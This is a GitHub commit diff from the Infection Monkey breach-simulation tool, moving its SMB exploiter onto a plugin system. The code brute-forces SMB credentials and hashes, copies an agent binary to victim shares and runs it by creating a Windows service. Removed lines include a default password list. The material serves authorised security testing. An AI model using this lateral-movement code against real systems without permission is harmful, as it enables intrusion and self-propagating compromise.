Merge pull request #1792 from guardicore/1741-add-smb-to-puppet

1741 add smb to puppet
This commit is contained in:
Mike Salvatore 2022-03-21 08:16:24 -04:00 committed by GitHub
commit 61344f9861
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
11 changed files with 90 additions and 274 deletions

View File

@ -53,6 +53,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- T1082 attack technique report. #1754
- 32-bit agents. #1675
- Log path config options. #1761
- "smb_service_name" option. #1741
### Fixed
- A bug in network map page that caused delay of telemetry log loading. #1545

View File

@ -35,7 +35,7 @@ The currently implemented Fingerprint modules are:
To add a new scanner/fingerprinter, create a new class that inherits from [`HostScanner`][host-scanner] or [`HostFinger`][host-finger] (depending on the interface). The class should be under the network module and imported under [`network/__init__.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/network/__init__.py).
To use the new scanner/fingerprinter by default, two files need to be changed - [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) and [`infection_monkey/example.conf`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/example.conf) to add references to the new class.
To use the new scanner/fingerprinter by default, modify [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) to add references to the new class.
At this point, the Infection Monkey knows how to use the new scanner/fingerprinter but to make it easy to use, the UI needs to be updated. The relevant UI file is [`monkey_island/cc/services/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/cc/services/config.py).

View File

@ -1,9 +1,7 @@
import hashlib
import os
import sys
import uuid
from abc import ABCMeta
from itertools import product
GUID = str(uuid.getnode())
@ -74,8 +72,6 @@ class Configuration(object):
dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = "/bin/sh"
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
dropper_target_path_linux = "/tmp/monkey"
###########################
# monkey config
@ -93,35 +89,6 @@ class Configuration(object):
keep_tunnel_open_time = 60
def get_exploit_user_password_pairs(self):
"""
Returns all combinations of the configurations users and passwords
:return:
"""
return product(self.exploit_user_list, self.exploit_password_list)
@staticmethod
def hash_sensitive_data(sensitive_data):
"""
Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data
plain-text, as the log is
saved on client machines plain-text.
:param sensitive_data: the data to hash.
:return: the hashed data.
"""
password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest()
return password_hashed
exploit_user_list = ["Administrator", "root", "user"]
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
exploit_lm_hash_list = []
exploit_ntlm_hash_list = []
# smb/wmi exploiter
smb_download_timeout = 30 # timeout in seconds
smb_service_name = "InfectionMonkey"
###########################
# post breach actions
###########################

View File

@ -1,69 +0,0 @@
{
"command_servers": [
"192.0.2.0:5000"
],
"keep_tunnel_open_time": 60,
"subnet_scan_list": [
],
"inaccessible_subnets": [],
"blocked_ips": [],
"current_server": "192.0.2.0:5000",
"should_stop": false,
"collect_system_info": true,
"should_use_mimikatz": true,
"depth": 2,
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_set_date": true,
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey",
"exploiter_classes": [
"SSHExploiter",
"SmbExploiter",
"WmiExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter",
"MSSQLExploiter"
],
"finger_classes": [
"SSHFinger",
"HTTPFinger",
"SMBFinger",
"MSSQLFingerprint",
"ElasticFinger"
],
"ping_scan_timeout": 10000,
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey",
"self_delete_in_cleanup": true,
"exploit_user_list": [],
"exploit_password_list": [],
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": [],
"local_network_scan": false,
"tcp_scan_timeout": 10000,
"tcp_target_ports": [
22,
445,
135,
3389,
80,
8080,
443,
3306,
8008,
9200,
7001,
8088
],
"post_breach_actions": []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
PBA_linux_filename = None
PBA_windows_filename = None
}

View File

@ -1,21 +1,24 @@
from logging import getLogger
from impacket.dcerpc.v5 import scmr, transport
from impacket.dcerpc.v5.scmr import DCERPCSessionError
from common.utils.attack_utils import ScanStatus, UsageEnum
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.exploit.tools.helpers import get_agent_dest_path
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.network_scanning.smbfinger import SMBFinger
from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
from infection_monkey.utils.brute_force import (
generate_brute_force_combinations,
get_credential_string,
)
from infection_monkey.utils.commands import build_monkey_commandline
logger = getLogger(__name__)
class SmbExploiter(HostExploiter):
class SMBExploiter(HostExploiter):
_TARGET_OS_TYPE = ["windows"]
_EXPLOITED_SERVICE = "SMB"
KNOWN_PROTOCOLS = {
@ -23,116 +26,83 @@ class SmbExploiter(HostExploiter):
"445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445),
}
USE_KERBEROS = False
def __init__(self, host):
super(SmbExploiter, self).__init__(host)
def is_os_supported(self):
if super(SmbExploiter, self).is_os_supported():
return True
if not self.host.os.get("type"):
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
smb_finger.get_host_fingerprint(self.host)
else:
is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139)
if is_nb_open:
self.host.os["type"] = "windows"
return self.host.os.get("type") in self._TARGET_OS_TYPE
return False
SMB_SERVICE_NAME = "InfectionMonkey"
def _exploit_host(self):
src_path = get_target_monkey(self.host)
agent_binary = self.agent_repository.get_agent_binary(self.host.os["type"])
dest_path = get_agent_dest_path(self.host, self.options)
creds = generate_brute_force_combinations(self.options["credentials"])
if not src_path:
logger.info("Can't find suitable monkey executable for host %r", self.host)
return False
# TODO use infectionmonkey.utils.brute_force
creds = self._config.get_exploit_user_password_or_hash_product()
exploited = False
for user, password, lm_hash, ntlm_hash in creds:
creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash])
try:
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(
self.host,
src_path,
self._config.dropper_target_path_win_32,
agent_binary,
dest_path,
user,
password,
lm_hash,
ntlm_hash,
self._config.smb_download_timeout,
self.options["smb_download_timeout"],
)
if remote_full_path is not None:
logger.debug(
"Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) "
"%s : (SHA-512) %s)",
self.host,
user,
self._config.hash_sensitive_data(password),
self._config.hash_sensitive_data(lm_hash),
self._config.hash_sensitive_data(ntlm_hash),
logger.info(
f"Successfully logged in to {self.host.ip_addr} using SMB "
f"with {creds_for_log}"
)
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
self.add_vuln_port(
"%s or %s"
% (
SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
)
)
exploited = True
self.exploit_result.exploitation_success = True
break
else:
# failed exploiting with this user/pass
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
except Exception as exc:
logger.debug(
"Exception when trying to copy file using SMB to %r with user:"
" %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
"SHA-512): %s: (%s)",
self.host,
user,
self._config.hash_sensitive_data(password),
self._config.hash_sensitive_data(lm_hash),
self._config.hash_sensitive_data(ntlm_hash),
exc,
logger.error(
f"Error while trying to copy file using SMB to {self.host.ip_addr} with "
f"{creds_for_log}:{exc}"
)
continue
if not exploited:
if not self.exploit_result.exploitation_success:
logger.debug("Exploiter SmbExec is giving up...")
return False
self.exploit_result.error_message = "Failed to authenticate to the victim over SMB"
return self.exploit_result
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
if remote_full_path.lower() != dest_path.lower():
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
"dropper_path": remote_full_path
} + build_monkey_commandline(
self.host,
get_monkey_depth() - 1,
self._config.dropper_target_path_win_32,
self.current_depth - 1,
dest_path,
)
else:
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {
"monkey_path": remote_full_path
} + build_monkey_commandline(self.host, get_monkey_depth() - 1)
} + build_monkey_commandline(self.host, self.current_depth - 1)
smb_conn = False
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
rpctransport.set_dport(port)
rpctransport.setRemoteHost(self.host.ip_addr)
if hasattr(rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(user, password, "", lm_hash, ntlm_hash, None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS)
scmr_rpc = rpctransport.get_dce_rpc()
@ -140,18 +110,23 @@ class SmbExploiter(HostExploiter):
scmr_rpc.connect()
except Exception as exc:
logger.debug(
"Can't connect to SCM on exploited machine %r port %s : %s",
self.host,
port,
exc,
f"Can't connect to SCM on exploited machine {self.host}, port {port} : {exc}"
)
continue
logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}")
smb_conn = rpctransport.get_smb_connection()
break
if not smb_conn:
return False
msg = "Failed to establish an RPC connection over SMB"
logger.warning(msg)
self.exploit_result.error_message = msg
return self.exploit_result
# TODO: We DO want to deal with timeouts
# We don't wanna deal with timeouts from now on.
smb_conn.setTimeout(100000)
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
@ -159,13 +134,22 @@ class SmbExploiter(HostExploiter):
sc_handle = resp["lpScHandle"]
# start the monkey using the SCM
try:
resp = scmr.hRCreateServiceW(
scmr_rpc,
sc_handle,
self._config.smb_service_name,
self._config.smb_service_name,
SMBExploiter.SMB_SERVICE_NAME,
SMBExploiter.SMB_SERVICE_NAME,
lpBinaryPathName=cmdline,
)
except DCERPCSessionError as err:
if err.error_code == 0x431:
logger.debug(f'SMB service "{SMBExploiter.SMB_SERVICE_NAME}" already exists')
resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME)
else:
self.exploit_result.error_message = str(err)
return self.exploit_result
service = resp["lpServiceHandle"]
try:
scmr.hRStartServiceW(scmr_rpc, service)
@ -173,7 +157,7 @@ class SmbExploiter(HostExploiter):
except Exception:
status = ScanStatus.SCANNED
pass
T1035Telem(status, UsageEnum.SMB).send()
self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB))
scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)
@ -183,12 +167,13 @@ class SmbExploiter(HostExploiter):
self.host,
cmdline,
)
self.exploit_result.propagation_success = True
self.add_vuln_port(
"%s or %s"
% (
SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
)
)
return True
return self.exploit_result

View File

@ -8,17 +8,6 @@ from infection_monkey.model import VictimHost
logger = logging.getLogger(__name__)
def try_get_target_monkey(host):
src_path = get_target_monkey(host)
if not src_path:
raise Exception("Can't find suitable monkey executable for host %r", host)
return src_path
def get_target_monkey(host):
raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.")
def get_random_file_suffix() -> str:
character_set = list(string.ascii_letters + string.digits + "_" + "-")
# random.SystemRandom can block indefinitely in Linux
@ -26,12 +15,6 @@ def get_random_file_suffix() -> str:
return random_string
def get_monkey_depth():
from infection_monkey.config import WormConfiguration
return WormConfiguration.depth
def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> str:
if host.os["type"] == "windows":
return options["dropper_target_path_win_64"]

View File

@ -4,8 +4,6 @@ import urllib.parse
import urllib.request
from threading import Lock
from infection_monkey.exploit.tools.helpers import try_get_target_monkey
from infection_monkey.model import DOWNLOAD_TIMEOUT
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.network.tools import get_interface_to_target
@ -62,24 +60,3 @@ class HTTPTools(object):
"http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])),
httpd,
)
class MonkeyHTTPServer(HTTPTools):
def __init__(self, host):
super(MonkeyHTTPServer, self).__init__()
self.http_path = None
self.http_thread = None
self.host = host
def start(self):
# Get monkey exe for host and it's path
src_path = try_get_target_monkey(self.host)
self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(
self.host, src_path
)
def stop(self):
if not self.http_path or not self.http_thread:
raise RuntimeError("Can't stop http server that wasn't started!")
self.http_thread.join(DOWNLOAD_TIMEOUT)
self.http_thread.stop()

View File

@ -8,9 +8,9 @@ from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMB_DIALECT, SMBConnection
from common.utils.attack_utils import ScanStatus
from infection_monkey.config import Configuration
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.utils.brute_force import get_credential_string
logger = logging.getLogger(__name__)
@ -28,6 +28,8 @@ class SmbTools(object):
timeout=60,
):
# TODO assess the 60 second timeout
creds_for_log = get_credential_string([username, password, lm_hash, ntlm_hash])
logger.debug(f"Attempting to copy an agent binary to {host} using SMB with {creds_for_log}")
smb, dialect = SmbTools.new_smb_connection(
host, username, password, lm_hash, ntlm_hash, timeout
@ -37,16 +39,7 @@ class SmbTools(object):
# skip guest users
if smb.isGuestSession() > 0:
logger.debug(
"Connection to %r granted guest privileges with user: %s, password (SHA-512): "
"'%s',"
" LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
host,
username,
Configuration.hash_sensitive_data(password),
Configuration.hash_sensitive_data(lm_hash),
Configuration.hash_sensitive_data(ntlm_hash),
)
logger.info(f"Connection to {host} granted guest privileges with {creds_for_log}")
try:
smb.logoff()
@ -129,8 +122,8 @@ class SmbTools(object):
try:
smb.connectTree(share_name)
except Exception as exc:
logger.debug(
"Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc
logger.error(
f'Error connecting tree to share "{share_name}" on victim {host}: {exc}'
)
continue
@ -161,7 +154,7 @@ class SmbTools(object):
break
except Exception as exc:
logger.debug(
logger.error(
"Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc
)
T1105Telem(
@ -181,14 +174,8 @@ class SmbTools(object):
if not file_uploaded:
logger.debug(
"Couldn't find a writable share for exploiting victim %r with "
"username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
"SHA-512): %s",
host,
username,
Configuration.hash_sensitive_data(password),
Configuration.hash_sensitive_data(lm_hash),
Configuration.hash_sensitive_data(ntlm_hash),
f"Couldn't find a writable share for exploiting victim {host} with "
f'user "{username}"'
)
return None
@ -219,16 +206,7 @@ class SmbTools(object):
try:
smb.login(username, password, "", lm_hash, ntlm_hash)
except Exception as exc:
logger.debug(
"Error while logging into %r using user: %s, password (SHA-512): '%s', "
"LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s",
host,
username,
Configuration.hash_sensitive_data(password),
Configuration.hash_sensitive_data(lm_hash),
Configuration.hash_sensitive_data(ntlm_hash),
exc,
)
logger.error(f'Error while logging into {host} using user "{username}": {exc}')
return None, dialect
smb.setTimeout(timeout)

View File

@ -20,6 +20,7 @@ from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.log4shell import Log4ShellExploiter
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
from infection_monkey.exploit.powershell import PowerShellExploiter
from infection_monkey.exploit.smbexec import SMBExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
from infection_monkey.exploit.zerologon import ZerologonExploiter
@ -225,6 +226,7 @@ class InfectionMonkey:
puppet.load_plugin(
"PowerShellExploiter", exploit_wrapper.wrap(PowerShellExploiter), PluginType.EXPLOITER
)
puppet.load_plugin("SmbExploiter", exploit_wrapper.wrap(SMBExploiter), PluginType.EXPLOITER)
puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER)
puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER)
puppet.load_plugin(

View File

@ -213,7 +213,6 @@ INTERNAL = {
"items": {"type": "string"},
"description": "List of SSH key pairs to use, when trying to ssh into servers",
},
},
"smb_service": {
"title": "SMB service",
"type": "object",
@ -222,15 +221,9 @@ INTERNAL = {
"title": "SMB download timeout",
"type": "integer",
"default": 30,
"description": "Timeout (in seconds) for SMB download operation (used in "
"various exploits using SMB)",
"description": "Timeout (in seconds) for SMB download operation (used "
"in various exploits using SMB)",
},
"smb_service_name": {
"title": "SMB service name",
"type": "string",
"default": "InfectionMonkey",
"description": "Name of the SMB service that will be set up to download "
"monkey",
},
},
},

View File

@ -90,7 +90,6 @@
}
},
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey",
"subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"],
"system_info_collector_classes": [
"MimikatzCollector"